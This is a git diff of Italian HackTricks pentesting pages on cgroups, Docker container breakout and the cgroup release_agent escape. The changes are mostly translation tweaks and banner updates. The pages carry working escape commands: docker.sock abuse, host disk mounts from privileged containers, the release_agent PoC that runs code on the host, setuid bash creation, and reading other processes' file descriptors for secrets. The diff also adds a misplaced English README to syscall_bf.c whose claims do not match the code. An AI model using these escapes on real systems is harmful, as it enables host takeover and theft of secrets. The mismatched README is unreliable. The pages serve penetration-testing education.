$ cat /proc/self/cgroup $ cat /proc/self/cgroup
12:rdma:/ 12:rdma:/
@ -49,7 +50,7 @@ La struttura dell'output è la seguente:
### Visualizzazione dei cgroups ### Visualizzazione dei cgroups
Il filesystem è tipicamente utilizzato per accedere ai **cgroups**, divergendo dall'interfaccia di chiamata di sistema Unix tradizionalmente utilizzata per le interazioni con il kernel. Per indagare sulla configurazione di un cgroup di shell, si dovrebbe esaminare il file **/proc/self/cgroup**, che rivela il cgroup della shell. Quindi, navigando nella directory **/sys/fs/cgroup** (o **`/sys/fs/cgroup/unified`**) e individuando una directory che condivide il nome del cgroup, si possono osservare varie impostazioni e informazioni sull'utilizzo delle risorse pertinenti al cgroup. Il filesystem è tipicamente utilizzato per accedere ai **cgroups**, divergendo dall'interfaccia di chiamata di sistema Unix tradizionalmente utilizzata per le interazioni con il kernel. Per investigare la configurazione di un cgroup di una shell, si dovrebbe esaminare il file **/proc/self/cgroup**, che rivela il cgroup della shell. Quindi, navigando nella directory **/sys/fs/cgroup** (o **`/sys/fs/cgroup/unified`**) e individuando una directory che condivide il nome del cgroup, si possono osservare varie impostazioni e informazioni sull'utilizzo delle risorse pertinenti al cgroup.
![Filesystem Cgroup](<../../../.gitbook/assets/image (1128).png>) ![Filesystem Cgroup](<../../../.gitbook/assets/image (1128).png>)
@ -57,7 +58,7 @@ I file di interfaccia chiave per i cgroups sono prefissati con **cgroup**. Il fi
![Cgroup Procs](<../../../.gitbook/assets/image (281).png>) ![Cgroup Procs](<../../../.gitbook/assets/image (281).png>)
I cgroups che gestiscono le shell di solito comprendono due controller che regolano l'uso della memoria e il conteggio dei processi. Per interagire con un controller, si dovrebbero consultare i file che portano il prefisso del controller. Ad esempio, **pids.current** sarebbe consultato per accertare il conteggio dei thread nel cgroup. I cgroups che gestiscono le shell di solito comprendono due controller che regolano l'uso della memoria e il conteggio dei processi. Per interagire con un controller, si dovrebbero consultare i file che portano il prefisso del controller. Ad esempio, **pids.current** sarebbe consultato per verificare il conteggio dei thread nel cgroup.
![Memoria Cgroup](<../../../.gitbook/assets/image (677).png>) ![Memoria Cgroup](<../../../.gitbook/assets/image (677).png>)
@ -65,7 +66,7 @@ L'indicazione di **max** in un valore suggerisce l'assenza di un limite specific
### Manipolazione e Creazione dei cgroups ### Manipolazione e Creazione dei cgroups
I processi vengono assegnati ai cgroups scrivendo il loro ID processo (PID) nel file `cgroup.procs`. Questo richiede privilegi di root. Ad esempio, per aggiungere un processo: I processi vengono assegnati ai cgroups scrivendo il loro ID di processo (PID) nel file `cgroup.procs`. Questo richiede privilegi di root. Ad esempio, per aggiungere un processo:
```bash ```bash
echo [pid] > cgroup.procs echo [pid] > cgroup.procs
``` ```
@ -83,7 +84,7 @@ echo "+cpu +pids" > cgroup.subtree_control
``` ```
Il **cgroup radice** è un'eccezione a queste regole, che consente il posizionamento diretto dei processi. Questo può essere utilizzato per rimuovere i processi dalla gestione di systemd. Il **cgroup radice** è un'eccezione a queste regole, che consente il posizionamento diretto dei processi. Questo può essere utilizzato per rimuovere i processi dalla gestione di systemd.
Il **monitoraggio dell'utilizzo della CPU** all'interno di un cgroup è possibile tramite il file `cpu.stat`, che visualizza il tempo totale di CPU consumato, utile per tracciare l'utilizzo attraverso i sotto-processi di un servizio: **Monitorare l'utilizzo della CPU** all'interno di un cgroup è possibile tramite il file `cpu.stat`, che mostra il tempo totale di CPU consumato, utile per tracciare l'utilizzo tra i sotto-processi di un servizio:
<figure><img src="../../../.gitbook/assets/image (908).png" alt=""><figcaption><p>Statistiche sull'utilizzo della CPU come mostrato nel file cpu.stat</p></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (908).png" alt=""><figcaption><p>Statistiche sull'utilizzo della CPU come mostrato nel file cpu.stat</p></figcaption></figure>

View file

@ -1,23 +1,24 @@
# Docker Breakout / Escalazione dei Privilegi # Docker Breakout / Escalazione dei Privilegi
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
<figure><img src="../../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti comunitari **più avanzati** al mondo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
@ -26,7 +27,7 @@ Ottieni l'accesso oggi:
* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): Può anche **enumerare i container** * [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): Può anche **enumerare i container**
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Questo strumento è abbastanza **utile per enumerare il container in cui ti trovi e provare a fuggire automaticamente** * [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Questo strumento è abbastanza **utile per enumerare il container in cui ti trovi e provare a fuggire automaticamente**
* [**amicontained**](https://github.com/genuinetools/amicontained): Strumento utile per ottenere i privilegi del container al fine di trovare modi per fuggirne * [**amicontained**](https://github.com/genuinetools/amicontained): Strumento utile per ottenere i privilegi che il container ha al fine di trovare modi per fuggirne
* [**deepce**](https://github.com/stealthcopter/deepce): Strumento per enumerare e fuggire dai container * [**deepce**](https://github.com/stealthcopter/deepce): Strumento per enumerare e fuggire dai container
* [**grype**](https://github.com/anchore/grype): Ottieni i CVE contenuti nel software installato nell'immagine * [**grype**](https://github.com/anchore/grype): Ottieni i CVE contenuti nel software installato nell'immagine
@ -39,7 +40,7 @@ Questo di solito accade nei container docker che per qualche motivo devono conne
find / -name docker.sock 2>/dev/null find / -name docker.sock 2>/dev/null
#It's usually in /run/docker.sock #It's usually in /run/docker.sock
``` ```
In questo caso è possibile utilizzare i comandi docker regolari per comunicare con il demone docker: In questo caso puoi utilizzare i comandi docker regolari per comunicare con il demone docker:
```bash ```bash
#List images to use one #List images to use one
docker images docker images
@ -78,7 +79,7 @@ Puoi controllare le capacità attuali del container utilizzando **gli strumenti
```bash ```bash
capsh --print capsh --print
``` ```
Nella seguente pagina puoi **scoprire di più sulle capacità di Linux** e su come abusarle per evadere/escalare i privilegi: Nella seguente pagina puoi **saperne di più sulle capacità di Linux** e su come abusarne per evadere/aumentare i privilegi:
{% content-ref url="../../linux-capabilities.md" %} {% content-ref url="../../linux-capabilities.md" %}
[linux-capabilities.md](../../linux-capabilities.md) [linux-capabilities.md](../../linux-capabilities.md)
@ -112,9 +113,9 @@ Provalo in un container eseguendo:
```bash ```bash
docker run --rm -it --pid=host --privileged ubuntu bash docker run --rm -it --pid=host --privileged ubuntu bash
``` ```
### Privilegiato ### Privileged
Solo con il flag privilegiato puoi provare ad **accedere al disco dell'host** o provare a **fuggire abusando di release\_agent o di altre fuggite**. Solo con il flag privilegiato puoi provare ad **accedere al disco dell'host** o provare a **scappare abusando di release\_agent o di altre falle**.
Testa i seguenti bypass in un container eseguendo: Testa i seguenti bypass in un container eseguendo:
```bash ```bash
@ -131,7 +132,7 @@ Quindi, per prendere il controllo della macchina host, è banale:
mkdir -p /mnt/hola mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola mount /dev/sda1 /mnt/hola
``` ```
E voilà! Ora puoi accedere al filesystem dell'host perché è montato nella cartella `/mnt/hola`. Ecco a te! Ora puoi accedere al filesystem dell'host perché è montato nella cartella `/mnt/hola`.
#### Montaggio Disco - Poc2 #### Montaggio Disco - Poc2
@ -248,7 +249,7 @@ Trova una **spiegazione della tecnica** in:
#### Fuga privilegiata sfruttando release\_agent senza conoscere il percorso relativo - PoC3 #### Fuga privilegiata sfruttando release\_agent senza conoscere il percorso relativo - PoC3
Negli exploit precedenti viene **rivelato il percorso assoluto del container all'interno del filesystem degli host**. Tuttavia, questo non è sempre il caso. Nei casi in cui **non si conosce il percorso assoluto del container all'interno dell'host** è possibile utilizzare questa tecnica: Nei precedenti exploit viene **rivelato il percorso assoluto del container all'interno del filesystem dell'host**. Tuttavia, questo non è sempre il caso. Nei casi in cui **non si conosce il percorso assoluto del container all'interno dell'host** è possibile utilizzare questa tecnica:
{% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %} {% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %}
[release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md) [release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md)
@ -374,12 +375,12 @@ chown root:root bash #From container as root inside mounted folder
chmod 4777 bash #From container as root inside mounted folder chmod 4777 bash #From container as root inside mounted folder
bash -p #From non priv inside mounted folder bash -p #From non priv inside mounted folder
``` ```
### Escalatione dei privilegi con 2 shell ### Escalation dei privilegi con 2 shell
Se hai accesso come **root all'interno di un container** e sei **scappato come utente non privilegiato all'host**, puoi abusare di entrambe le shell per **escalare i privilegi all'interno dell'host** se hai la capacità MKNOD all'interno del container (è di default) come [**spiegato in questo post**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\ Se hai accesso come **root all'interno di un container** e sei **scappato come utente non privilegiato all'host**, puoi abusare di entrambe le shell per **escalare i privilegi all'interno dell'host** se hai la capacità MKNOD all'interno del container (è di default) come [**spiegato in questo post**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
Con tale capacità, all'utente root all'interno del container è consentito **creare file di dispositivo a blocchi**. I file di dispositivo sono file speciali utilizzati per **accedere all'hardware sottostante e ai moduli del kernel**. Ad esempio, il file di dispositivo a blocchi /dev/sda fornisce accesso per **leggere i dati grezzi sul disco del sistema**. Con tale capacità, all'utente root all'interno del container è consentito **creare file di dispositivo a blocchi**. I file di dispositivo sono file speciali utilizzati per **accedere all'hardware sottostante e ai moduli del kernel**. Ad esempio, il file di dispositivo a blocchi /dev/sda fornisce accesso per **leggere i dati grezzi sul disco del sistema**.
Docker protegge dall'abuso dei dispositivi a blocchi all'interno dei container applicando una politica cgroup che **blocca le operazioni di lettura/scrittura dei dispositivi a blocchi**. Tuttavia, se un dispositivo a blocchi viene **creato all'interno del container**, diventa accessibile dall'esterno del container tramite la directory **/proc/PID/root/**. Questo accesso richiede che il **proprietario del processo sia lo stesso** sia all'interno che all'esterno del container. Docker protegge dall'abuso dei dispositivi a blocchi all'interno dei container applicando una politica cgroup che **blocca le operazioni di lettura/scrittura sui dispositivi a blocchi**. Tuttavia, se un dispositivo a blocchi viene **creato all'interno del container**, diventa accessibile dall'esterno del container tramite la directory **/proc/PID/root/**. Questo accesso richiede che il **proprietario del processo sia lo stesso** sia all'interno che all'esterno del container.
Esempio di **sfruttamento** da questo [**articolo**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/): Esempio di **sfruttamento** da questo [**articolo**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
```bash ```bash
@ -434,7 +435,7 @@ HOSTNAME=argocd-server-69678b4f65-6mmql
USER=abrgocd USER=abrgocd
... ...
``` ```
Puoi anche **accedere ai descrittori di file di altri processi e leggere i file aperti**: Puoi anche **accedere ai descrittori file di altri processi e leggere i file aperti da essi**:
```bash ```bash
for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
less fds.txt less fds.txt
@ -444,7 +445,7 @@ lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
# You can open the secret filw with: # You can open the secret filw with:
cat /proc/635813/fd/4 cat /proc/635813/fd/4
``` ```
Puoi anche **interrompere i processi e causare un DoS**. Puoi anche **uccidere processi e causare un DoS**.
{% hint style="warning" %} {% hint style="warning" %}
Se in qualche modo hai **accesso privilegiato su un processo al di fuori del container**, potresti eseguire qualcosa come `nsenter --target <pid> --all` o `nsenter --target <pid> --mount --net --pid --cgroup` per **eseguire una shell con le stesse restrizioni ns** (sperabilmente nessuna) **di quel processo.** Se in qualche modo hai **accesso privilegiato su un processo al di fuori del container**, potresti eseguire qualcosa come `nsenter --target <pid> --all` o `nsenter --target <pid> --mount --net --pid --cgroup` per **eseguire una shell con le stesse restrizioni ns** (sperabilmente nessuna) **di quel processo.**
@ -454,16 +455,16 @@ Se in qualche modo hai **accesso privilegiato su un processo al di fuori del con
``` ```
docker run --rm -it --network=host ubuntu bash docker run --rm -it --network=host ubuntu bash
``` ```
Se un container è configurato con il driver di rete host Docker (`--network=host`), lo stack di rete di quel container non è isolato dall'host Docker (il container condivide lo spazio dei nomi di rete dell'host) e al container non viene assegnato un proprio indirizzo IP. In altre parole, il **container collega tutti i servizi direttamente all'IP dell'host**. Inoltre, il container può **intercettare TUTTO il traffico di rete che l'host** sta inviando e ricevendo sull'interfaccia condivisa `tcpdump -i eth0`. Se un container è configurato con il driver di rete host di Docker (`--network=host`), lo stack di rete di quel container non è isolato dall'host Docker (il container condivide lo spazio dei nomi di rete dell'host) e al container non viene assegnato un proprio indirizzo IP. In altre parole, il **container associa tutti i servizi direttamente all'IP dell'host**. Inoltre, il container può **intercettare TUTTO il traffico di rete che l'host** sta inviando e ricevendo sull'interfaccia condivisa `tcpdump -i eth0`.
Ad esempio, è possibile utilizzare questo metodo per **sniffare e persino falsificare il traffico** tra l'host e l'istanza dei metadati. Ad esempio, è possibile utilizzare questo metodo per **intercettare e persino falsificare il traffico** tra l'host e l'istanza dei metadati.
Come nei seguenti esempi: Come nei seguenti esempi:
* [Articolo: Come contattare Google SRE: Inserimento di una shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/) * [Articolo: Come contattare Google SRE: Ottenere una shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
* [MITM del servizio dei metadati consente l'escalation dei privilegi di root (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/) * [MITM del servizio dei metadati consente l'escalation dei privilegi di root (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
Sarà inoltre possibile accedere ai **servizi di rete collegati a localhost** all'interno dell'host o persino accedere alle **autorizzazioni dei metadati del nodo** (che potrebbero essere diverse da quelle a cui un container può accedere). Sarà anche possibile accedere ai **servizi di rete associati a localhost** all'interno dell'host o persino accedere alle **autorizzazioni dei metadati del nodo** (che potrebbero essere diverse da quelle a cui un container può accedere).
### hostIPC ### hostIPC
```bash ```bash
@ -472,7 +473,7 @@ docker run --rm -it --ipc=host ubuntu bash
Con `hostIPC=true`, si ottiene accesso alle risorse di comunicazione inter-processo (IPC) dell'host, come la **memoria condivisa** in `/dev/shm`. Ciò consente la lettura/scrittura dove le stesse risorse IPC sono utilizzate da altri processi dell'host o del pod. Utilizzare `ipcs` per ispezionare ulteriormente questi meccanismi IPC. Con `hostIPC=true`, si ottiene accesso alle risorse di comunicazione inter-processo (IPC) dell'host, come la **memoria condivisa** in `/dev/shm`. Ciò consente la lettura/scrittura dove le stesse risorse IPC sono utilizzate da altri processi dell'host o del pod. Utilizzare `ipcs` per ispezionare ulteriormente questi meccanismi IPC.
* **Ispeziona /dev/shm** - Cerca eventuali file in questa posizione di memoria condivisa: `ls -la /dev/shm` * **Ispeziona /dev/shm** - Cerca eventuali file in questa posizione di memoria condivisa: `ls -la /dev/shm`
* **Ispeziona le strutture IPC esistenti** - È possibile verificare se vengono utilizzate strutture IPC con `/usr/bin/ipcs`. Controllalo con: `ipcs -a` * **Ispeziona le strutture IPC esistenti** - È possibile verificare se vengono utilizzate strutture IPC con `/usr/bin/ipcs`. Controlla con: `ipcs -a`
### Recupera le capacità ### Recupera le capacità
@ -482,7 +483,7 @@ unshare -UrmCpf bash
# Check them with # Check them with
cat /proc/self/status | grep CapEff cat /proc/self/status | grep CapEff
``` ```
### Abuso dello spazio dei nomi utente tramite symlink ### Abuso dello spazio utente tramite symlink
La seconda tecnica spiegata nel post [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indica come è possibile abusare dei bind mounts con i namespace utente, per influenzare i file all'interno dell'host (in quel caso specifico, eliminare file). La seconda tecnica spiegata nel post [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indica come è possibile abusare dei bind mounts con i namespace utente, per influenzare i file all'interno dell'host (in quel caso specifico, eliminare file).
@ -509,10 +510,10 @@ Questo attiverà il payload presente nel file main.go.
Per ulteriori informazioni: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) Per ulteriori informazioni: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
{% hint style="info" %} {% hint style="info" %}
Il container potrebbe essere vulnerabile ad altre CVE, è possibile trovarne un elenco in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) Il container potrebbe essere vulnerabile anche ad altre CVE, puoi trovare un elenco su [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
{% endhint %} {% endhint %}
## Fuga personalizzata di Docker ## Fuga personalizzata da Docker
### Superficie di fuga di Docker ### Superficie di fuga di Docker
@ -565,7 +566,21 @@ Il container potrebbe essere vulnerabile ad altre CVE, è possibile trovarne un
``` ```
{% endtab %} {% endtab %}
{% tab title="syscall_bf.c" %} {% tab title="syscall_bf.c" %}
## Docker Breakout Privilege Escalation
### Overview
This repository contains a proof of concept exploit for escaping a Docker container and escalating privileges to root on the host system. The exploit takes advantage of a misconfigured Docker container that allows a user to mount the host's root filesystem and modify sensitive files.
### Usage
Compile the `syscall_bf.c` code on the host system using a C compiler. Run the compiled binary inside the Docker container to escalate privileges.
### Disclaimer
This exploit is for educational purposes only. Misuse of this exploit on systems without authorization is illegal.
````c ````c
// From a conversation I had with @arget131 // From a conversation I had with @arget131
// Fir bfing syscalss in x64 // Fir bfing syscalss in x64
@ -636,16 +651,17 @@ Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Fuga di privilegi Docker release\_agent cgroups # Fuga dalle cgroups del Docker release_agent
{% hint style="success" %}
Impara e pratica l'hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io) ### [WhiteIntel](https://whiteintel.io)
@ -20,7 +21,7 @@ Altri modi per supportare HackTricks:
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware ruba-informazioni**. [**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware ruba-informazioni**.
Il loro obiettivo principale è contrastare le violazioni degli account e gli attacchi ransomware derivanti da malware che rubano informazioni. Il loro obiettivo principale è combattere le violazioni degli account e gli attacchi ransomware derivanti da malware che rubano informazioni.
Puoi visitare il loro sito web e provare il loro motore **gratuitamente** su: Puoi visitare il loro sito web e provare il loro motore **gratuitamente** su:
@ -28,7 +29,7 @@ Puoi visitare il loro sito web e provare il loro motore **gratuitamente** su:
*** ***
**Per ulteriori dettagli, consulta il** [**post del blog originale**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Questo è solo un riassunto: **Per ulteriori dettagli, consulta il** [**post originale del blog**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Questo è solo un riassunto:
PoC originale: PoC originale:
```shell ```shell
@ -42,11 +43,11 @@ Il proof of concept (PoC) dimostra un metodo per sfruttare i cgroups creando un
1. **Preparare l'Ambiente:** 1. **Preparare l'Ambiente:**
* Viene creato un directory `/tmp/cgrp` per fungere da punto di mount per il cgroup. * Viene creato un directory `/tmp/cgrp` per fungere da punto di mount per il cgroup.
* Il controller cgroup RDMA viene montato su questa directory. In caso di assenza del controller RDMA, si consiglia di utilizzare il controller cgroup `memory` come alternativa. * Il controller cgroup RDMA viene montato in questa directory. In caso di assenza del controller RDMA, si consiglia di utilizzare il controller cgroup `memory` come alternativa.
```shell ```shell
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
``` ```
2. **Imposta il Cgroup Figlio:** 2. **Impostare il Cgroup Figlio:**
* Viene creato un cgroup figlio chiamato "x" all'interno della directory cgroup montata. * Viene creato un cgroup figlio chiamato "x" all'interno della directory cgroup montata.
* Le notifiche vengono abilitate per il cgroup "x" scrivendo 1 nel suo file notify\_on\_release. * Le notifiche vengono abilitate per il cgroup "x" scrivendo 1 nel suo file notify\_on\_release.
```shell ```shell
@ -67,7 +68,7 @@ echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd chmod a+x /cmd
``` ```
5. **Innesca l'Attacco:** 5. **Innesca l'Attacco:**
* Viene avviato un processo all'interno del cgroup figlio "x" e viene immediatamente terminato. * Viene avviato un processo all'interno del sottogruppo figlio "x" e viene immediatamente terminato.
* Questo attiva il `release_agent` (lo script /cmd), che esegue ps aux sull'host e scrive l'output su /output all'interno del container. * Questo attiva il `release_agent` (lo script /cmd), che esegue ps aux sull'host e scrive l'output su /output all'interno del container.
```shell ```shell
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
@ -84,16 +85,17 @@ Puoi visitare il loro sito web e provare il loro motore gratuitamente su:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Supporta HackTricks</summary>
